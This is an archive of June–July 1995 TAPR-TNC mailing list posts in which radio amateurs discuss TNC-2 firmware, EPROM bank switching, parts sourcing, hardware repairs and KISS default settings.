> Bank switching refers to the use of a double size Eprom in the TNC/Node
> where the origional size (256k) is the first *bank* and the second
> half is the second bank (512k Eprom). In the TNC you may set
> up the Eprom to have 2 different roms and switch between them while
> power off/battery pulled to produce for example a TNC that can become
> a node (using TNP208/210) *in the field*. Or in the case of Node ware
> the bankswitching is used in the X1J version (uses a 512K Eprom) to
> allow the node to automatically access the second half of the data.

That agrees with my impression (never having used bank switching). I
mentioned it because I recall that the latest MFJ TNCs (1270C, 1276)
have larger eproms and may use bank switching (or maybe they use it
for more mailbox memory like some of the TASCO units). Depending on
how it is implemented, 1.1.9 may or may not work, although MFJ may
have their own version by now (any comment Howie?)

Bob

Bob Nielsen   Internet:nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@w6swe.ampr.org
                               AX.25: w6swe@wb7tls.az.usa.noam

12. Source of 10Mhz Zilog Parts

From: zephd@iquest.net (Dave Zeph)
Date: Mon, 26 Jun 95 14:23 EST
To: tapr-tnc@tapr.org
Message-ID: <m0sQJkw-000BedC@dorite.iquest.net>
Rendered body type: text/plain

I'd like to order the parts needed to upgrade a number of TNC-2 to operate
at 9.8Mhz. I know a 10Mhz parts kit is available; however I'd like to try
to reduce the overall project costs by purchasing the parts myself.

The crystal and EPROM are no problem, but I don't know of sources for the
10Mhz CMOS Z80 CPU and SIO chips.

I found one catalog that listed the Zilog chips, but under their Part Number
scheme. When I asked the person if he would go look at the chips to
determine which was the 10Mhz variety, he admitted they didn't have any in
stock anyway!

Perhaps I'm just not accumulating the right catalogs these days. Can anyone
recommend where I can purchase the 10Mhz Z80 parts?

Thanks and 73 ---> Dave
****
Dave Zeph, W9ZRX
Home   : (317) 896-3876
FAX/Data : (317) 867-1809
E-Mail   : zephd@iquest.net

13. Re: [TAPR-TNC:16] Re: 1.1.9 ?

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Mon, 26 Jun 1995 17:11:42 -0400 (EDT)
To: tapr-tnc@dingus.n5lyt.datarace.com
Message-ID: <Pine.LNX.3.91.950626170914.424B-100000@n2wx.ampr.org>
Rendered body type: text/plain

On Mon, 26 Jun 1995, Bob Nielsen wrote:

> That agrees with my impression (never having used bank switching). I
> mentioned it because I recall that the latest MFJ TNCs (1270C, 1276)
> have larger eproms and may use bank switching (or maybe they use it
> for more mailbox memory like some of the TASCO units). Depending on
> how it is implemented, 1.1.9 may or may not work, although MFJ may
> have their own version by now (any comment Howie?)

Bob is correct. The 1270C, 1276, and 1278 use bank switching schemes that
are incompatible with the TAPR version. MFJ however is using the latest
code (equivalent to 1.1.9 with respect to packet)

It is possible to munge the 127x hardware to run the TAPR version but it
requires forcing RAM chip selects, possibly rewiring the EPROM socket.
Not recommended.

Howie

--
Howard Goldstein   hg@n2wx.ampr.org
    N2WX   http://www.tapr.org/~n2wx/

14. Re: [TAPR-TNC:15] TNC2 1.1.9 smartwatch

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Mon, 26 Jun 1995 17:13:18 -0400 (EDT)
To: tapr-tnc@dingus.n5lyt.datarace.com
Message-ID: <Pine.LNX.3.91.950626171158.424C-100000@n2wx.ampr.org>
Rendered body type: text/plain

On Mon, 26 Jun 1995, Peter Vinson wrote:

> TNC-2 1.1.9 update EPROM
>
> The release notes say there is support for the
> Dallas "Smartwatch", but do not explain this
> further. I assume this would be one of the
> DS1216 family but there is both a "C" version
> that goes under a RAM and an "E" version that
> goes under an EPROM.
>
> Which version is required

The C version. Don't forget to pull the bbRAM jumper else you'll
discharge the lithium cell!

> and are there any extra
> commands to invoke Smartwatch operation?

No, the smartwatch operation is transparent to the user.

Howie

--
Howard Goldstein   hg@n2wx.ampr.org
    N2WX   http://www.tapr.org/~n2wx/

15. Re: [TAPR-TNC:17] Source of 10Mhz Zilog Parts

From: shawnpat@sierra.net (Shawn Skinner)
Date: Mon, 26 Jun 1995 03:12:41 -0700
To: tapr-tnc@tapr.org

Message-ID: <199506270313.AA20600@diamond.sierra.net>
Rendered body type: text/plain

```
>
>I'd like to order the parts needed to upgrade a number of TNC-2 to operate
>at 9.8Mhz.  I know a 10Mhz parts kit is available; however I'd like to try
>to reduce the overall project costs by purchasing the parts myself.
>
>The crystal and EPROM are no problem, but I don't know of sources for the
>10Mhz CMOS Z80 CPU and SIO chips.
>
<snip>
>Thanks and 73 ---> Dave
>*********************************************************************
>Dave Zeph, W9ZRX
>Home     : (317) 896-3876
>FAX/Data : (317) 867-1809
>E-Mail   : zephd@iquest.net
>

Well Dave, I tried the same thing here about 2 years ago.  Found a
source at that time for the CPU's, but unless I wanted to order from
the factory (slow boat from Japan) the SIO in quanities of 100 plus
I found I was SOL.  Aparently the concept was that they would make
them to order at a cost of about $10 per (??).  So after that I
figured the $25 kit wasn't that bad.

Good luck on your hunt tho, and I would be interested in a couple of
sets if you do find them.

73 de Shawn, N7XBM.
shawnpat@sierra.net Shawn Skinner
```

16. Re: [TAPR-TNC:6] Speed mods for TNC-2

From: gwyn@paccomm.com (Gwyn Reedy, W1BEL)
Date: Tue, 27 Jun 95 11:49:12 UTC
To: tapr-tnc@tapr.org
Message-ID: <5684@paccomm.com>
Rendered body type: text/plain

```
Dave:

Simplest thing would be to double the clock crystal frequency. It the 1274 is
using a 4.9152 crystal, substitute a 9.8xxx. You'll probably have to put in
faster CPU and SIO chips too. You can usually overspeed a chip somewhat,
but MFJ are already running 4 MHz parts at 4.9 MHz, so don't know if you
can get 10 MHz out of them or not. Doubling the clock speed doubles all
the baud rates, so the 9.6 position becomes 19.2. All the radio rates
get doubled too.

Side benefit of this is you get double the processing power.

73, Gwyn
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
Gwyn Reedy, W1BEL      gwyn@paccomm.com        W1BEL@amsat.org

+(813) 874-2980        Fax:+(813) 872-8696     BBS: +(813) 874-3078 (V.34)

PacComm Packet Radio Systems, Inc, 4413 N. Hesperides St, Tampa, FL 33614-7618
```

17. TNC-2 with NETROM

From: dmedley@indirect.com (David Medley)
Date: Tue, 27 Jun 1995 22:01:24 -0700
To: tapr-tnc@tapr.org
Message-ID: <199506280501.WAA23290@bud.indirect.com>
Rendered body type: text/plain

I have acquired two TAPR TNC-2 units made by TAPR (I assume) in 1985.They have both been modified I suspect either for NETROM service or something similar. I seem to have seen somewhere instructions as to what mods are needed to do this. My problem is to unmodify them and return them to be regular TNC-2s. These are the mods on No1.

1. The trace going to pin 16 of J1 has been cut and a jumper run from the far side of the cut to pin 6 of J1
2. Pin 7 of J1 has been grounded.
3. Pin 14 of U25 has been jumpered to one end of R-52
4. Pin 17 or U25 has been jumpered to pin 17 od\f U23
5. There was an unmarked EPROM in U25 which I have replaced with a TAPR 1.1.6.

The serial port of this unit works but it does nothing else

The second one has more extensive and different mods
 1. The ground plane has been cut by J1 and the gap bridged with a choke.
    (I seem to have read about this somewhere but I can't remember where)
 2. Same as 1 and 2 above
 3. Pin 24 of J1 has been connected to JMP9 pins 2,4,6
 4. Same as 3 above
 5. Pin 28 of U25 has been jumpered to pin 28 of u24
 6. Pin 27 of U25 is jumpered to pin 27 of u24
 7. Pin 26 of u25 is jumpered to pin 26 of u24 and pin 26 of u23
 8. Pin 9 of u24 is jumpered to pin 2 of u13
 9. There are various places where small caps have been added underneath
    the circuit board.
10. There was a PACCOMM Tiny2 EPROM in U23 which I also replaced.

The serial port of this unit works but it does nothing else.
I am hesitant just to remove these mods as some of them appear to be part of
the original construction.
Testing both units on the air, as said above, the serial ports work. If a
connect is tried both units key but the mod level sounds very low on a
second receiver. The DCD light reacts to noise and incoming signals on both
units but nothing appears on the computer screen. The local BBS does not
respond to the transmitted signal.
Howard I suspect you will instantly know what the problem is and I would
appreciate some of your wisdom.
73 de Dave KI6QE

July 1995

Original source file: tapr-tnc.9507
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9507

1. Re: [TAPR-TNC:21] Re: Speed mods for TNC-2

```
From: zephd@iquest.net (Dave Zeph)
Date: Sun, 02 Jul 1995 19:33:44 +0000
To: tapr-tnc@tapr.org
Message-ID: <m0sSUke-000B9vC@dorite1.iquest.net>
Rendered body type: text/plain
```

```
Gwyn ... I've installed a pair of the PacComm 10Mhz kits in old TNC-200's.
I've also modified them further by using the Clock Input to Pin 10 of the
4040 to provide a 38.4Kb Terminal Baud Rate.

That's an interesting comment about MFJ.  Either "Mighty Fine Junk" is an
apt description of their use of substandard parts - or they know something
we don't.  Given the age of the Z80, the limited sources, and production
volumes, I wonder if they may be to the point of just manufacturing one chip
design - then labeling and charging appropriately.

Guess a test wouldn't take too long.  I'm going to buy some more 10Mhz kits
anyhow, so I could try the crystal and see what happens.  Nothing ventured -
nothing gained!

73 ---> Dave



>Dave:
>
>Simplest thing would be to double the clock crystal frequency. It the 1274 is
>using a 4.9152 crystal, substitute a 9.8xxx. You'll probably have to put in
>faster CPU and SIO chips too. You can usually overspeed a chip somewhat,
>but MFJ are already running 4 MHz parts at 4.9 MHz, so don't know if you
>can get 10 MHz out of them or not. Doubling the clock speed doubles all
>the baud rates, so the 9.6 position becomes 19.2. All the radio rates
>get doubled too.
>
>Side benefit of this is you get double the processing power.
>
>73, Gwyn
>_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
>Gwyn Reedy, W1BEL      gwyn@paccomm.com        W1BEL@amsat.org
>
>+(813) 874-2980        Fax:+(813) 872-8696     BBS: +(813) 874-3078 (V.34)
>
>PacComm Packet Radio Systems, Inc, 4413 N. Hesperides St, Tampa, FL 33614-7618
>
>
**********************************************************************
Dave Zeph, W9ZRX
Home     : (317) 896-3876
FAX/Data : (317) 867-1809
E-Mail   : zephd@iquest.net
```

---

2. 1995 ARRL DCC (Papers Deadline)

```
From: Greg Jones <gjones@tenet.edu>
Date: Mon, 3 Jul 1995 03:48:03 -0500 (CDT)
To: aprssig@tapr.org (BBS SIG mailing), bbssig@tapr.org (BBS SIG mailing),
        hfsig@tapr.org (HF SIG mailing), netsig@tapr.org (NETSIG mailing),
        amsat-bb@amsat.org (AMSAT BB Mail Group), tapr-tnc@tapr.org
Message-ID: <199507030848.DAA31049@Leslie-Francis.tenet.edu>
Rendered body type: text/plain
```

```
1995 ARRL Digital Communications Conference
September 8-10th, 1995
Arlington, Texas (minutes from DFW airport)


     *************  PAPERS DEADLINE July 21st, 1995  **************


        Anyone interested in digital communications is invited to submit a
paper for publication in the Conference Proceedings.  Presentation at the
Conference is not required for publication.  If you know of someone who is
doing great things with digital communications, be sure to personally tell
```

them about this! Papers are due by July 21, 1995, and should be submitted to Maty Weinberg, ARRL, 225 Main Street, Newington, CT 06111 or via the Internet to mweinberg@arrl.org. Please contact Maty for detailed format requirements.

Full text is available on the Internet:
FTP: ftp.tapr.org WWW: hhtp://www.tapr.org/tapr E-Mail: tapr@tapr.org
---

The ARRL Digital Communications Conference is an international forum for radio amateurs in digital communications, networking, and related technologies to meet, publish their work, and present new ideas and techniques for discussion. Presenters and attendees will have the opportunity to exchange ideas and learn about recent hardware and software advances, theories, experimental results, and practical applications. The Digital Communications Conference is not just for the digital elite, but for digitally-orientated amateurs of all levels of experience.

The 1995 Digital Communications Conference will be held on September 8-10th, 1995 in Arlington, Texas. Arlington is just minutes away from the Dallas/Ft. Worth International Airport, which is located in the middle of the country, and airfares have never been cheaper for this conveniently-located conference.

In addition to the presentation of papers on Saturday, two workshops will be held during the conference. On Friday, Keith Sproul, WU2Z, will hold a workshop on APRS packet-location software. Keith is the Chair of the TAPR APRS Special Interest Group, developer of the Macintosh version of APRS, and a leader in the area of APRS technology. This is a unique opportunity to gain insight into this fast growing new digital aspect of amateur operations that combines computers, packet radio, and GPS (Global Positioning Satellites). On Sunday, Dewayne Hendricks, WD8DZP, will conduct a workshop focusing on a survey of Personal Communications Systems and their applications and use in the Amateur Radio Service. Dewayne is an expert in the area of commercial wireless systems; his company WarpSpeed Imagineering, focuses on wireless Internet. This workshop presents an opportunity to learn how Personal Communications Technology (handheld and small business wireless systems) can be used in the amateur service.

Full information on the conference and hotel information can be obtained by contacting Tucson Amateur Packet Radio, 8987-309 E. Tanque Verde Road, Tucson, AZ 85749-9399. Phone: (817) 383-0000. Fax: (817) 566-2544. Internet: TAPR@TAPR.ORG http://www.tapr.org/tapr

Sincerely,
Greg Jones, WD5IVD - President, Tucson Amateur Packet Radio
Dave Wolf, WO5H - President, Texas Packet Radio Society

3. New TNC-93

From: dmedley@indirect.com (David Medley)
Date: Mon, 3 Jul 1995 16:58:09 -0700
To: tapr-tnc@tapr.org
Message-ID: <199507032358.QAA15648@bud.indirect.com>
Rendered body type: text/plain

Howie I would like to volunteer as a beta tester for the new TNC-93. If you would like me to put in a written request I will do so. Just let me know.

I finally unmodified the TNC-2 and it is working just fine. The second one had been so butchered it was beyond economical repair. Good for spare parts!

Do you know where I can get a copy of the original documentation for this 1985 kit?

Have a good 4th Howie
73 de Dave KI6QE

4. Re: [TAPR-TNC:25] New TNC-93

From: "Bob Nielsen" <nielsen@PrimeNet.Com>
Date: Mon, 3 Jul 1995 20:42:29 +0700
To: tapr-tnc@tapr.org
Message-ID: <199507040342.UAA20827@mailhost.primenet.com>

Rendered body type: text/plain

> Date: Mon, 3 Jul 1995 19:06:53 -0500
> Reply-to: tapr-tnc@tapr.org
> From: dmedley@indirect.com (David Medley)
> To: tapr-tnc@tapr.org
> Subject: [TAPR-TNC:25] New TNC-93

> Howie I would like to volunteer as a beta tester for the new TNC-93. If you
> would like me to put in a written request I will do so. Just let me know.
>
> I finally unmodified the TNC-2 and it is working just fine. The second one
> had been so butchered it was beyond economical repair. Good for spare parts!
>
> Do you know where I can get a copy of the original documentation for this
> 1985 kit?
>
> Have a good 4th Howie
> 73 de Dave KI6QE

Dave,

The documentation I updated for the bare board TNC-2 that TAPR sold
for a few years (I think they are all gone now) is available by ftp
from ftp.tapr.org in /tapr/software_lib/tnc/tncdocs.exe (a
self-extracting file). It is basically the original documentations
updated for 1.1.8, 32k memory and deletion of the MF-10 filter, as I recall.

73, Bob W6SWE
(there are almost as many 6's as 7's in Tucson these days)

Bob Nielsen   Internet:nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@w6swe.ampr.org
                               AX.25: w6swe@wb7tls.az.usa.noam

5. TNC problem

From: dmedley@indirect.com (David Medley)
Date: Wed, 5 Jul 1995 14:03:07 -0700
To: tapr-tnc@tapr.org
Message-ID: <199507052103.OAA02345@bud.indirect.com>
Rendered body type: text/plain

Howie I am working on yet another old TAPR TNC-2. This one has me puzzled for
the moment. It is pretty clean but has so far defied my attempts to get it
to work. On firing it up the STA and CON LEDs come on and stay on. One
character,
usually an "@" appears on the screen. I have done the obvious checks such as
voltages, TTL low on pin 23 of U21. You can observe transitions on pin 26 of
U21. I have changed as many of the ICs as I have spares for but to no avail.
In this unit there is a shielded jumper from the center pin of the 7805 vr to a
ground point near the power switch. This does not seem to make sense to me
but it is called out in the assembly manual, although this latter is not too
clear as to exactly where this jumper is to be connected. This unit has a
modem disconnect header installed and there has been some cutting of traces
between the pins of this header. I have put jumpers on the usual pins 1-2
11-12 13-14 17-18.
If anyone out there has any ideas for me to try please let me have them For
me I am fresh out of ideas at this point.
73 de Dave KI6Qe

6. [TAPR-TNC:27] TNC problem -Reply

From: Orville Beach <Orv@micom.com>
Date: Wed, 05 Jul 1995 14:55:37 -0800
To: tapr-tnc@tapr.org
Message-ID: <sffaa815.031@micom.com>
Rendered body type: text/plain

>>> David Medley <dmedley@indirect.com> 07/05/95 01
12pm >>>
Howie I am working on yet another old TAPR TNC-2.
This one has me puzzled for the moment. It is
pretty clean but has so far defied my attempts to
get it to work. On firing it up the STA and CON
LEDs come on and stay on. One character, usually an
"@" appears on the screen. I have done the obvious
checks such as voltages, TTL low on pin 23 of U21.
You can observe transitions on pin 26 of
U21. I have changed as many of the ICs as I have
spares for but to no avail.

In this unit there is a shielded jumper from the
center pin of the 7805 vr to a ground point near
the power switch. This does not seem to make sense
to me but it is called out in the assembly manual,
although this latter is not too clear as to exactly
where this jumper is to be connected. This unit has
a modem disconnect header installed and there has
been some cutting of traces between the pins of
this header. I have put jumpers on the usual pins
1-2
11-12 13-14 17-18.
If anyone out there has any ideas for me to try
please let me have them For me I am fresh out of
ideas at this point.
73 de Dave KI6Qe

Dave, have you confirmed that the clock is running
at the CPU? Is the CPU itself running? Have you
confirmed that you're running a good EPROM?

When you type a character, does the interrupt make
it from the SIO to the CPU and then get cleared?
If not, then interrupts are not being serviced, and
the thing is somehow dead..

<All that is to determine if the TNC is alive...>

Hope that helps a bit.

73 - Orv - wb6wey
orv@micom.com

7. Re: [TAPR-TNC:27] TNC problem

From: Greg Jones <gjones@tenet.edu>
Date: Wed, 5 Jul 1995 17:32:31 -0500 (CDT)
To: tapr-tnc@tapr.org
Cc: rbates@heineken.tuc.nrao.edu (Ron Bates)
Message-ID: <199507052232.RAA21578@Leslie-Francis.tenet.edu>
Rendered body type: text/plain

Dave - you might want to contact Ron Bates (also in Tucson) and maybe even
get him on this list. Ron worked on TNC-2s for a long time and is a real
expert.

Might be worth a local phone call.

Greg

According to David Medley:
>
> Howie I am working on yet another old TAPR TNC-2. This one has me puzzled for
> the moment. It is pretty clean but has so far defied my attempts to get it
> to work. On firing it up the STA and CON LEDs come on and stay on. One
> character,
> usually an "@" appears on the screen. I have done the obvious checks such as
> voltages, TTL low on pin 23 of U21. You can observe transitions on pin 26 of
> U21. I have changed as many of the ICs as I have spares for but to no avail.
> In this unit there is a shielded jumper from the center pin of the 7805 vr to a
> ground point near the power switch. This does not seem to make sense to me
> but it is called out in the assembly manual, although this latter is not too
> clear as to exactly where this jumper is to be connected. This unit has a
> modem disconnect header installed and there has been some cutting of traces
> between the pins of this header. I have put jumpers on the usual pins 1-2
> 11-12 13-14 17-18.
> If anyone out there has any ideas for me to try please let me have them For
> me I am fresh out of ideas at this point.
> 73 de Dave KI6Qe
>
>

8. Re: [TAPR-TNC:27] TNC problem

From: gwyn@paccomm.com (Gwyn Reedy, W1BEL)
Date: Thu, 06 Jul 95 09:01:31 UTC
To: tapr-tnc@tapr.org
Message-ID: <6079@paccomm.com>
Rendered body type: text/plain

Dave,
The CON and STA LEDs default ON and are turned off by the firmware. Therefore
their staying on means the firmware is not executing.

TAPR code typically puts out one character before it does much else, so
it appear the code begins to execute and then stops.

A general check of the address and data lines, clock signals, and interrupt
lines should reveal something.

PacComm's Monitor EPROM will run without RAM and without interrupts to aid
in the type of diagnosis you are doing.

Good luck.
73, Gwyn

_ _
Gwyn Reedy, W1BEL gwyn@paccomm.com W1BEL@amsat.org

+(813) 874-2980 Fax:+(813) 872-8696 BBS: +(813) 874-3078 (V.34)

PacComm Packet Radio Systems, Inc, 4413 N. Hesperides St, Tampa, FL 33614-7618

9. Re: [TAPR-TNC:30] Re: TNC problem

From: dmedley@indirect.com (David Medley)
Date: Fri, 7 Jul 1995 12:38:53 -0700
To: tapr-tnc@tapr.org
Message-ID: <199507071938.MAA05374@bud.indirect.com>
Rendered body type: text/plain

Gwyn thanks for the suggestions. I am intrigued with your comment about the
PaCcomm monitor EPROM. Would appreciate more info on this. Is this the EPROM
normally supplied with the Tiny2 or Micropower2 or more likely a special
order from Paccomm. I really dread having to deal with them which is why I
gave up using their TNCs.
73 de Dave KI6QE

10. Re: [TAPR-TNC:27] TNC problem

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Fri, 7 Jul 1995 18:08:22 -0400 (EDT)
To: tapr-tnc@dingus.n5lyt.datarace.com
Message-ID: <Pine.LNX.3.91.950707180320.1181K-100000@n2wx.ampr.org>
Rendered body type: text/plain

On Wed, 5 Jul 1995, David Medley wrote:

> Howie I am working on yet another old TAPR TNC-2. This one has me puzzled for
> the moment. It is pretty clean but has so far defied my attempts to get it

Dave, are you working it with the original firmware? If not have you set
it up for 32K? In consolation for your serious problem, the nothing-works
problem is sometimes the easist to fix. I'd also look for corroded
sockets and, given it was a kit, cold solder joints that aged into
unsoldered joints. Might even throw a scope on the Vcc line to make sure
it's a clean 5v you're seeing.

Everyone else's thoughts were excellent and I hope you'll follow up on
them all. Keep me posted, and good luck.

Howie

--
Howard Goldstein hg@n2wx.ampr.org
    N2WX http://www.tapr.org/~n2wx/

11. TNC-2 problem

From: dmedley@indirect.com (David Medley)
Date: Thu, 13 Jul 1995 11:45:26 -0700
To: TAPR-TNC@tapr.org
Message-ID: <199507131845.LAA20337@bud.indirect.com>
Rendered body type: text/plain

Well I have resolved my TNC problem (I think) and it was something that
happens every now and then I suppose. I made two false assumptions at the
start.
   1. That whoever assembled the kit was reasonably competant.
   2. That new components are always good.

Anyway after many hours of frustration, resoldering suspicious joints,

all to no avail, I then decided to do something obvious and check that
the ICs were all properly installed. Imagine my surprise when I found
an SIO/O circuit in the processor slot. There was the same circuit in
the SIO/O slot. However, installing a Z80 in the correct place did not
fix the problem. So I changed the TAPR v1.9 EPROM for a PACCOMM Tiny2
EPROM which I just happened to have and Presto!! the lights went out and
it started to talk to the computer. Conclusion a bad EPROM. This one just
received and never used. Or is there some reason why the TAPR latest
version will not run in this old TNC-2?
Having crossed this bridge successfully I am taking a break and will get
to the alignment tomorrow.
My thanks to all who responded to my plea for help. I learned a lot through
this one.
73 de Dave KI6QE

12. Re: [TAPR-TNC:33] TNC-2 problem

From: "Bob Nielsen" <nielsen@PrimeNet.Com>
Date: Thu, 13 Jul 1995 15:35:11 +0700
To: tapr-tnc@tapr.org
Message-ID: <199507132235.PAA06603@mailhost.primenet.com>
Rendered body type: text/plain

dmedley@indirect.com (David Medley) writes:

> Well I have resolved my TNC problem (I think) and it was something that
> happens every now and then I suppose. I made two false assumptions at the
> start.
>   1. That whoever assembled the kit was reasonably competant.
>   2. That new components are always good.
>
> Anyway after many hours of frustration, resoldering suspicious joints,
> all to no avail, I then decided to do something obvious and check that
> the ICs were all properly installed. Imagine my surprise when I found
> an SIO/O circuit in the processor slot. There was the same circuit in
> the SIO/O slot. However, installing a Z80 in the correct place did not
> fix the problem. So I changed the TAPR v1.9 EPROM for a PACCOMM Tiny2
> EPROM which I just happened to have and Presto!! the lights went out and
> it started to talk to the computer. Conclusion a bad EPROM. This one just
> received and never used. Or is there some reason why the TAPR latest
> version will not run in this old TNC-2?
> Having crossed this bridge successfully I am taking a break and will get
> to the alignment tomorrow.
> My thanks to all who responded to my plea for help. I learned a lot through
> this one.

Does the TNC have the 32K upgrade? That might explain why 1.1.9
didn't work. I think the change was effective with 1.1.5, although
MFJ didn't change until a later version. I don't know when Paccomm
made the change, so maybe the TINY-2 chip is compatible with 16K.

Bob

Bob Nielsen   Internet:nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@w6swe.ampr.org
                               AX.25: w6swe@wb7tls.az.usa.noam

13. Re: [TAPR-TNC:34] Re: TNC-2 problem

From: dmedley@indirect.com (David Medley)
Date: Sat, 15 Jul 1995 00:28:30 -0700
To: tapr-tnc@tapr.org
Message-ID: <199507150728.AAA23069@bud.indirect.com>
Rendered body type: text/plain

>
>Does the TNC have the 32K upgrade? That might explain why 1.1.9
>didn't work. I think the change was effective with 1.1.5, although
>MFJ didn't change until a later version. I don't know when Paccomm
>made the change, so maybe the TINY-2 chip is compatible with 16K.
>
Thanks Bob. That does not appear to be the problem. It has a 32k memory unit
installed and the PACCOMM sign on message says 32k. I tried an MFJ 1.1.7
EPROM in it and it works fine.
I am not out of the wood yet. When I started testing it this morning it
failed the loop back test!! I really don't know why I am wasting my time
with it but it now poses a challenge!!!
73 de Dave

14. software for RS model4 (fwd)

From: Greg Jones <gjones@tenet.edu>
Date: Sat, 15 Jul 1995 12:26:10 -0500 (CDT)
To: tapr-tnc@tapr.org
Message-ID: <199507151726.MAA15786@Leslie-Francis.tenet.edu>
Rendered body type: text/plain

Dorothy received this at the office yesterday. Anyone have a suggestion for
a good indepth answer ?

Greg

Forwarded message:
>From d-cox@coewl.cen.uiuc.edu Fri Jul 14 12:13:29 1995
Date: Fri, 14 Jul 1995 12:12:49 -0500 (CDT)
From: cox dan eric <d-cox@coewl.cen.uiuc.edu>
To: tapr@tapr.org
Subject: software for RS model4
Message-Id: <Pine.HPP.3.90.950714120430.15446A-100000@glhpx14.cen.uiuc.edu>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

to tucson amateur packet radio,

I am interested in getting into packet radio, but all I have is a Model 4
Radio Shack computer. I wanted to know if there is any software, for
packet writen for the model 4. I want also like to know if there is a
particular TNC that might work best with this computer. I have a
terminal emulation program called "Vidtex" which I use with a modem.

Any information which you could provide would be of great help to me.

                              Dan Cox,

                                   N9ZXW

15. Re: Location of TXD (and other) defaults in KISS Image

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Tue, 18 Jul 1995 14:24:37 -0400 (EDT)
To: "David L. Zeph" <zephd@iquest.net>
Cc: tapr-tnc@dingus.n5lyt.datarace.com
Message-ID: <Pine.LNX.3.91.950718141850.235A-100000@n2wx.ampr.org>
Rendered body type: text/plain

On Tue, 18 Jul 1995, David L. Zeph wrote:

> My question is whether you can give me the location in the KISS Code of the Default TXD
> Parameter.

I'm also copying this to the TAPR-TNC group as it may be of interest to
others.

```
Address      Value
------------------
78f8         21
78f9         7a
78fa         62
78fb         22
78fc         ??
78fd         ??
78fe         3e
78ff         32       <-----    KISS TXDELAY default
7900         32
7901         ??
7902         ??
7903         3e
7904         3f
```

For those interested in the .PRN output here it is

```
78EC 21 7A41              359           LD      HL,R_DELAY
78EF 22 ....X             360           LD      (TXQ_ADDRESSES+2*0),HL
78F2 21 7A61              361           LD      HL,R_SLOTTIME
78F5 22 ....X             362           LD      (TXQ_ADDRESSES+2*1),HL
78F8 21 7A62              363           LD      HL,R_TAIL
78FB 22 ....X             364           LD      (TXQ_ADDRESSES+2*2),HL
78FE 3E 32                365           LD      A,50            ; TX DELAY = 50*10 MSEC
7900 32 ....X             366           LD      (TXDELAY),A
7903 3E 3F                367           LD      A,63            ; PERSISTENCE = 63/256
```

```
7905 32 ....X             368           LD      (PERSISTENCE),A
7908 3E 32                369           LD      A,50            ; SLOTTIME = 50*10 MSEC
790A 32 ....X             370           LD      (SLOTTIME),A
790D 3E 07                372           LD      A,7             ; TX TAILTIME = 7*10 MS GUARTEES
                          373                                   ; 2 CHARACTERS OUT AT 300 BAUD
790F 32 ....X             374           LD      (TAILTIME),A


[I left a lot of extra stuff in there for those interested in additional
customization]

Howie


--
Howard Goldstein                                          hg@n2wx.ampr.org
    N2WX                                          http://www.tapr.org/~n2wx/
```

16. [TAPR-SYS:121] Mail problems (fwd)

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Wed, 19 Jul 1995 19:19:04 -0400 (EDT)
To: tapr-tnc@dingus.n5lyt.datarace.com
Message-ID: <Pine.LNX.3.91.950719191846.340B-100000@n2wx.ampr.org>
Rendered body type: text/plain

FYI...

---------- Forwarded message ----------
Date: Wed, 19 Jul 1995 15:30:21 -0500
From: Lee Ziegenhals <n5lyt@dingus.n5lyt.datarace.com>
To: tapr-sys@dingus.n5lyt.datarace.com
Subject: [TAPR-SYS:121] Mail problems

Dingus suffered a minor disk problem today. The problem is corrected, but
a few mail queue entries may have been lost and other mail may be delayed.

List owners, please pass this on to your lists.

73/Lee, N5LYT

17. TNC repair

From: dmedley@indirect.com (David Medley)
Date: Fri, 28 Jul 1995 19:22:16 -0700
To: tapr-tnc@tapr.org
Message-ID: <199507290222.TAA01719@bob.indirect.com>
Rendered body type: text/plain

Howie just to let you know I finally fixed both TNCs. The first one
just needed some TLC but the second was a dog. I believe it must have
benn struck by lightning or some other disaster. It had no less than
7 separate faults, one or two being pretty obscure. Anyway it was a good
exercise for me and I learned a lot more about the TNC2!!
Thanks for the support.
73 de Dave KI6QE

18. Periodic posting

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Sat, 29 Jul 1995 20:05:02 -0400 (EDT)
To: tapr-tnc@dingus.n5lyt.datarace.com
Message-ID: <Pine.LNX.3.91.950729200424.136G-100000@n2wx.ampr.org>
Rendered body type: text/plain

Tucson Amateur Packet Radio TAPR-TNC SIG

This message will be posted periodically. Last post: 25 Jun 95

To Unsubscribe:

To leave the TAPR-TNC SIG, send a message to

     listproc@tapr.org

with a blank subject. In the body of your message, write

     SIGNOFF TAPR-TNC

```
------------------------
Statement of Purpose
------------------------

This SIG is intended to be a low volume, high s/n place to discuss issues
related to use of the TAPR (and clone) TNCs.  It is not moderated at this
time; list subscribers are requested to remain on topic and use discretion
to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above

Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions.  Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the rec.radio.amateur.* hierarchy.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"
Please try the newsgroups.

At times, you may find your post is relevant to one of the other fine
TAPR SIGs as well as this one.  Initial crossposting is not necessarily a
bad idea.  Use your judgment.

Spirited, lively discussion is invited but flames will be promptly
extinguished.  The moderator reserves the right to deal with flames and
off-topic posts from a stance somewhere between complete arbitrariness and
Solomonesque.  Hopefully more of the latter than the former.

---------------
Other resources
---------------

TAPR maintains both file archives and a World Wide Web server that may
contain the answer to your questions.  You may wish to skim these
resources before to posting to the list:

   ftp to  ftp.tapr.org    /tapr/...

   WWW to  http://www.tapr.org/tapr/
                          and
